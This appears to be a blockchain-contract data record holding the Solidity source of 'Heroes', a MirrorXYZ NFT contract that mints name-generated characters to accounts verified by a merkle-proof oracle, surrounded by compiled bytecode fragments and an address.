ffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203564168aa5c5909f5c550b190af897dea816bca4b6bcb3451c8bde7b9a79467f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,283
0xeDd55556541d904846AD5840b9D3bC4DCac8EDF2
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.6; interface IMirrorWriteRaceOracle { function verify( address account, uint256 index, bytes32[] calldata merkleProof ) external returns (bool); } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title Heroes * @author MirrorXYZ * A example of a sybil-resistant fair-mint NFT, using merkle proofs. * Inspired by Loot (https://etherscan.io/address/0xff9c1b15b16263c61d017ee9f65c50e4ae0113d7) */ contract Heroes { string public constant name = "Heroes"; string public constant symbol = "HEROES"; // The address of the $WRITE Race Oracle for identity. address immutable oracle; mapping(address => bool) public claimed; uint256 nextTokenId = 1; string[] private firstNames = [ "Orie", "Guadalupe", "Nyx", "Gertrude", "Queenie", "Nathaniel", "Joyce", "Claudine", "Olin", "Aeneas", "Elige", "Jackson", "Euclid", "Myrtie", "Turner", "Neal", "Wilmer", "Nat", "Euna", "Aline", "Iris", "Sofia", "Morpheus", "Curtis", "Claire", "Apinya", "Lefteris", "Alice", "Hector", "Malee", "Geo", "Murry", "Anastasia", "Kahlil", "Paris", "Noble", "Clara", "Besse", "Wilhelmina", "Napoleon", "Phillip", "Isaiah", "Alexander", "Lea", "Verner", "Verla", "Beatrice", "Willie", "William", "Elvira", "Mildred", "Sula", "Dido", "Adaline", "Jean", "Inez", "Reta", "Isidore", "Liza", "Rollin", "Beverly", "Theron", "Moses", "Abbie", "Emanuel", "Buck", "Alphonso", "Everett", "Ruth", "Easter", "Cecil", "Ivy", "Mariah", "Lottie", "Barney", "Adeline", "Hazel", "Sterling", "Kathrine", "Mina", "Eva", "Francisco", "Neva", "Myrle", "Hector", "Velva", "Dewey", "Manda", "Mathilda", "Pallas", "Zollie", "Lella", "Hiram", "Orval", "Marcia", "Leda", "Patricia", "Ellie", "Riley", "Evie", "Zelia", "Leota", "Camilla", "Mat", "Jonathan", "Helen", "Letha", "Thomas", "Osie", "Stella", "Bernice", "Daisy", "Hosea", "Frederick", "Reese", "Adah", "Nettie", "Wade", "Hugo", "Sipho", "Ollie", "Zola", "Arlie", "Iyana", "Webster", "Rae", "Alden", "Juno", "Luetta", "Raphael", "Eura", "Cupid", "Priam", "Kame", "Louis", "Hana", "Lyra", "Kholo", "Gunnar", "Olafur", "Anatolia", "Lelia", "Agatha", "Helga", "Rossie", "Katsu", "Toku", "Verdie", "Nandi", "Anna", "Maksim", "Mihlali", "Aloysius", "Mittie", "Olive", "Virgie", "Gregory", "Leah", "Maudie", "Fanny", "Andres", "Mava", "Ines", "Clovis", "Clint", "Scarlett", "Porter", "Isabelle", "Mahlon", "Elsie", "Seth", "Irma", "Annis", "Pearle", "Dumo", "Lamar", "Fay", "Olga", "Billie", "Maybelle", "Santiago", "Ludie", "Salvador", "Adem", "Emir", "Hamza", "Emre" ]; string[] private lastNames = [ "Galway", "Wheeler", "Hotty", "Mae", "Beale", "Zabu", "Robins", "Farrell", "Goslan", "Garnier", "Tow", "Chai", "Seong", "Ross", "Barbary", "Burress", "McLean", "Kennedy", "Murphy", "Cortez", "Aku", "Middlemiss", "Saxon", "Dupont", "Sullivan", "Hunter", "Gibb", "Ali", "Holmes", "Griffin", "Patel", "Weston", "Kabble", "Brown", "Guillan", "Thompson", "Doolan", "Brownhill", "de la Mancha", "Crogan", "Fitzgerald", "Flaubert", "Salander", "Park", "Singh", "Hassan", "Peri", "Horgan", "Tolin", "Kim", "Beckham", "Shackley", "Lobb", "Yoon", "Blanchet", "Wang", "Ames", "Liu", "Raghavan", "Morgan", "Xiao", "Mills", "Yang", "Pabst", "Duffey", "Monaghan", "Bu", "Teague", "Obi", "Abberton", "Corbin", "Zhang", "Kildare", "Okoro", "Eze", "Rovelli", "Garcia", "Wareham", "Sun", "Langhorne", "Liu", "Popov", "Howlett" ]; string[] private prefixes = [ "President", "General", "Captain", "Dr", "Professor", "Chancellor", "The Honourable", "Venerable", "Barrister", "Prophet", "Evangelist", "Senpai", "Senator", "Speaker", "Sama", "Chief", "Ambassador", "Nari", "Lion-hearted", "Tireless", "Poet", "Beloved", "Godlike", "All-Powerful", "Sweet-spoken", "Wise Old", "Hotheaded", "Peerless", "Gentle", "Swift-footed", "Mysterious", "Dear", "Revered", "Adored" ]; string[] private suffixes = [ "I", "II", "III", "the Thoughtful", "of the Sword", "the Illustrious", "from the North", "from the South", "the Younger", "the Elder", "the Wise", "the Mighty", "the Great", "the Hero", "the Adventurer", "the Beautiful", "the Conqueror", "the Courageous", "the Valiant", "the Fair", "the Magnificent", "the Pious", "the Just", "the Peaceful", "the Rich", "the Learned", "the Mean", "the Bold", "the Unavoidable", "the Giant", "the Deep-minded", "the Brilliant", "the Joyful", "the Famous", "the Bard", "the Knowing", "the Sophisticated", "the Enlightened" ]; mapping(uint256 => address) internal _owners; mapping(address => uint256) internal _balances; mapping(uint256 => address) internal _tokenApprovals; mapping(address => mapping(address => bool)) internal _operatorApprovals; event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); constructor(address oracle_) { oracle = oracle_; } // Allows any of the WRITE Race candidates to claim. function claim( address account, uint256 index, bytes32[] calldata merkleProof ) public { // Only one claimed per account. require(!claimed[account], "already claimed"); claimed[account] = true; // Prove $WRITE Race Identity. require( IMirrorWriteRaceOracle(oracle).verify(account, index, merkleProof), "must prove place in write race" ); // Check that only one character is claimed per account. require(!_exists(index), "already claimed"); // Mint a character for this account. _safeMint(account, nextTokenId); // Increment the next token ID. nextTokenId += 1; } // ============ Building Token URI ============ // Mostly looted from Loot: https://etherscan.io/address/0xff9c1b15b16263c61d017ee9f65c50e4ae0113d7#code function tokenURI(uint256 tokenId) public view returns (string memory) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); string[17] memory parts; parts[ 0 ] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; parts[1] = getFullName(tokenId); parts[2] = "</text></svg>"; string memory output = string( abi.encodePacked(parts[0], parts[1], parts[2]) ); string memory json = Base64.encode( bytes( string( abi.encodePacked( '{"name": "Hero #', toString(tokenId), '", "description": "Heroes", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}' ) ) ) ); output = string( abi.encodePacked("data:application/json;base64,", json) ); return output; } function getFullName(uint256 tokenId) public view returns (string memory) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); uint256 randFirst = random( string(abi.encodePacked("f", toString(tokenId))) ); uint256 randLast = random( string(abi.encodePacked("l", toString(tokenId))) ); uint256 randPrefix = random( string(abi.encodePacked("p", toString(tokenId))) ); uint256 randSuffix = random( string(abi.encodePacked("s", toString(tokenId))) ); bool hasPrefix = randPrefix % 21 > 13; bool hasSuffix = randSuffix % 21 > 13; string memory fullName = string( abi.encodePacked( firstNames[randFirst % firstNames.length], " ", lastNames[randLast % lastNames.length] ) ); if (hasPrefix) { fullName = string( abi.encodePacked( prefixes[randPrefix % prefixes.length], " ", fullName ) ); } if (hasSuffix) { fullName = string( abi.encodePacked( fullName, " ", suffixes[randSuffix % suffixes.length] ) ); } return fullName; } // ============ NFT Methods ============ function balanceOf(address owner_) public view returns (uint256) { require( owner_ != address(0), "ERC721: balance query for the zero address" ); return _balances[owner_]; } function ownerOf(uint256 tokenId) public view virtual returns (address) { address _owner = _owners[tokenId]; require( _owner != address(0), "ERC721: owner query for nonexistent token" ); return _owner; } function burn(uint256 tokenId) public { require( _isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved" ); _burn(tokenId); } function _exists(uint256 tokenId) internal view returns (bool) { return _owners[tokenId] != address(0); } function _burn(uint256 tokenId) internal { address owner_ = ownerOf(tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner_] -= 1; delete _owners[tokenId]; emit Transfer(owner_, address(0), tokenId); } function approve(address to, uint256 tokenId) public virtual { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } function setApprovalForAll(address approver, bool approved) public virtual { require(approver != msg.sender, "ERC721: approve to caller"); _operatorApprovals[msg.sender][approver] = approved; emit ApprovalForAll(msg.sender, approver, approved); } function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual { require( _isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require( to != address(0), "ERC721: transfer to the zero address (use burn instead)" ); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _owners[tokenId] = to; _balances[to] += 1; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (isContract(to)) { try IERC721Receiver(to).onERC721Received( msg.sender, from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/7f6a1666fac8ecff5dd467d0938069bc221ea9e0/contracts/utils/Address.sol function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF) ) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80636352211e11610097578063b88d4fde11610066578063b88d4fde14610279578063c87b56dd1461028c578063c884ef831461029f578063e985e9c5146102d257600080fd5b80636352211e146101f657806370a082311461020957806395d89b411461022a578063a22cb4651461026657600080fd5b80633d13f874116100d35780633d13f874146101aa57806342842e0e146101bd57806342966c68146101d0578063465411c1146101e357600080fd5b806306fdde0314610105578063081812fc14610157578063095ea7b31461018257806323b872dd14610197575b600080fd5b6101416040518060400160405280600681526020017f4865726f6573000000000000000000000000000000000000000000000000000081525081565b60405161014e919061213a565b60405180910390f35b61016a610165366004611ccc565b61030e565b6040516001600160a01b03909116815260200161014e565b610195610190366004611bb9565b6103a8565b005b6101956101a5366004611a6a565b6104f8565b6101956101b8366004611be3565b61057f565b6101956101cb366004611a6a565b61079d565b6101956101de366004611ccc565b6107b8565b6101416101f1366004611ccc565b610840565b61016a610204366004611ccc565b610aa2565b61021c610217366004611a15565b610b33565b60405190815260200161014e565b6101416040518060400160405280600681526020017f4845524f4553000000000000000000000000000000000000000000000000000081525081565b610195610274366004611b82565b610bcd565b610195610287366004611aa6565b610c92565b61014161029a366004611ccc565b610d20565b6102c26102ad366004611a15565b60006020819052908152604090205460ff1681565b604051901515815260200161014e565b6102c26102e0366004611a37565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b6000818152600660205260408120546001600160a01b031661038c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600860205260409020546001600160a01b031690565b60006103b382610aa2565b9050806001600160a01b0316836001600160a01b0316141561043d5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610383565b336001600160a01b038216148061047757506001600160a01b038116600090815260096020908152604080832033845290915290205460ff165b6104e95760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610383565b6104f38383610e99565b505050565b6105023382610f14565b6105745760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610383565b6104f383838361100b565b6001600160a01b03841660009081526020819052604090205460ff16156105e85760405162461bcd60e51b815260206004820152600f60248201527f616c726561647920636c61696d656400000000000000000000000000000000006044820152606401610383565b6001600160a01b0380851660009081526020819052604090819020805460ff19166001179055517f8be0861e0000000000000000000000000000000000000000000000000000000081527f0000000000000000000000006a6893cb59a559458d61618300598394743f074790911690638be0861e906106719087908790879087906004016120ce565b602060405180830381600087803b15801561068b57600080fd5b505af115801561069f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c39190611c6d565b61070f5760405162461bcd60e51b815260206004820152601e60248201527f6d7573742070726f766520706c61636520696e207772697465207261636500006044820152606401610383565b6000838152600660205260409020546001600160a01b0316156107745760405162461bcd60e51b815260206004820152600f60248201527f616c726561647920636c61696d656400000000000000000000000000000000006044820152606401610383565b610780846001546111e8565b6001806000828254610792919061214d565b909155505050505050565b6104f383838360405180602001604052806000815250610c92565b6107c23382610f14565b6108345760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610383565b61083d81611206565b50565b6000818152600660205260409020546060906001600160a01b03166108bc5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610383565b60006108ee6108ca846112ae565b6040516020016108da919061205a565b6040516020818303038152906040526113e0565b9050600061090e6108fe856112ae565b6040516020016108da9190611f0c565b9050600061092e61091e866112ae565b6040516020016108da9190611e8f565b9050600061094e61093e876112ae565b6040516020016108da9190611ed4565b90506000600d61095f6015856121f6565b1190506000600d6109716015856121f6565b1190506000600280805490508861098891906121f6565b8154811061099857610998612236565b9060005260206000200160038080549050886109b491906121f6565b815481106109c4576109c4612236565b906000526020600020016040516020016109df929190611e6f565b60405160208183030381529060405290508215610a425760048054610a0490876121f6565b81548110610a1457610a14612236565b9060005260206000200181604051602001610a30929190611e3d565b60405160208183030381529060405290505b8115610a965760058054829190610a5990876121f6565b81548110610a6957610a69612236565b90600052602060002001604051602001610a84929190611e0a565b60405160208183030381529060405290505b98975050505050505050565b6000818152600660205260408120546001600160a01b031680610b2d5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610383565b92915050565b60006001600160a01b038216610bb15760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610383565b506001600160a01b031660009081526007602052604090205490565b6001600160a01b038216331415610c265760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610383565b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610c9c3383610f14565b610d0e5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610383565b610d1a84848484611411565b50505050565b6000818152600660205260409020546060906001600160a01b0316610d9c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610383565b610da46119d1565b60405180610120016040528060fd815260200161227160fd91398152610dc983610840565b6020828101918252604080518082018252600d81527f3c2f746578743e3c2f7376673e0000000000000000000000000000000000000081840152818501819052845193519151600094610e20949093929101611dc7565b60405160208183030381529060405290506000610e6d610e3f866112ae565b610e488461149a565b604051602001610e59929190611f44565b60405160208183030381529060405261149a565b905080604051602001610e809190612015565b60408051601f1981840301815291905295945050505050565b6000818152600860205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0384169081179091558190610edb82610aa2565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600660205260408120546001600160a01b0316610f8d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610383565b6000610f9883610aa2565b9050806001600160a01b0316846001600160a01b03161480610fd35750836001600160a01b0316610fc88461030e565b6001600160a01b0316145b8061100357506001600160a01b0380821660009081526009602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661101e82610aa2565b6001600160a01b03161461109a5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610383565b6001600160a01b0382166111165760405162461bcd60e51b815260206004820152603760248201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573732028757365206275726e20696e7374656164290000000000000000006064820152608401610383565b611121600082610e99565b6001600160a01b038316600090815260076020526040812080546001929061114a908490612198565b90915550506000818152600660209081526040808320805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0387169081179091558352600790915281208054600192906111a390849061214d565b909155505060405181906001600160a01b0380851691908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90600090a4505050565b611202828260405180602001604052806000815250611655565b5050565b600061121182610aa2565b905061121e600083610e99565b6001600160a01b0381166000908152600760205260408120805460019290611247908490612198565b9091555050600082815260066020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6060816112ee57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156113185780611302816121db565b91506113119050600a83612165565b91506112f2565b60008167ffffffffffffffff8111156113335761133361224c565b6040519080825280601f01601f19166020018201604052801561135d576020820181803683370190505b5090505b841561100357611372600183612198565b915061137f600a866121f6565b61138a90603061214d565b60f81b81838151811061139f5761139f612236565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506113d9600a86612165565b9450611361565b6000816040516020016113f39190611dab565b60408051601f19818403018152919052805160209091012092915050565b61141c84848461100b565b611428848484846116de565b610d1a5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610383565b8051606090806114ba575050604080516020810190915260008152919050565b600060036114c983600261214d565b6114d39190612165565b6114de906004612179565b905060006114ed82602061214d565b67ffffffffffffffff8111156115055761150561224c565b6040519080825280601f01601f19166020018201604052801561152f576020820181803683370190505b509050600060405180606001604052806040815260200161236e604091399050600181016020830160005b868110156115bb576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b83526004909201910161155a565b5060038606600181146115d5576002811461161f57611647565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe830152611647565b7f3d000000000000000000000000000000000000000000000000000000000000006000198301525b505050918152949350505050565b61165f8383611882565b61166c60008484846116de565b6104f35760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610383565b6000833b15611877576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a0290611732903390899088908890600401612092565b602060405180830381600087803b15801561174c57600080fd5b505af192505050801561177c575060408051601f3d908101601f1916820190925261177991810190611c8a565b60015b61182c573d8080156117aa576040519150601f19603f3d011682016040523d82523d6000602084013e6117af565b606091505b5080516118245760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610383565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050611003565b506001949350505050565b6001600160a01b0382166118d85760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610383565b6000818152600660205260409020546001600160a01b03161561193d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610383565b6001600160a01b038216600090815260076020526040812080546001929061196690849061214d565b9091555050600081815260066020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6040518061022001604052806011905b60608152602001906001900390816119e15790505090565b80356001600160a01b0381168114611a1057600080fd5b919050565b600060208284031215611a2757600080fd5b611a30826119f9565b9392505050565b60008060408385031215611a4a57600080fd5b611a53836119f9565b9150611a61602084016119f9565b90509250929050565b600080600060608486031215611a7f57600080fd5b611a88846119f9565b9250611a96602085016119f9565b9150604084013590509250925092565b60008060008060808587031215611abc57600080fd5b611ac5856119f9565b9350611ad3602086016119f9565b925060408501359150606085013567ffffffffffffffff80821115611af757600080fd5b818701915087601f830112611b0b57600080fd5b813581811115611b1d57611b1d61224c565b604051601f8201601f19908116603f01168101908382118183101715611b4557611b4561224c565b816040528281528a6020848701011115611b5e57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000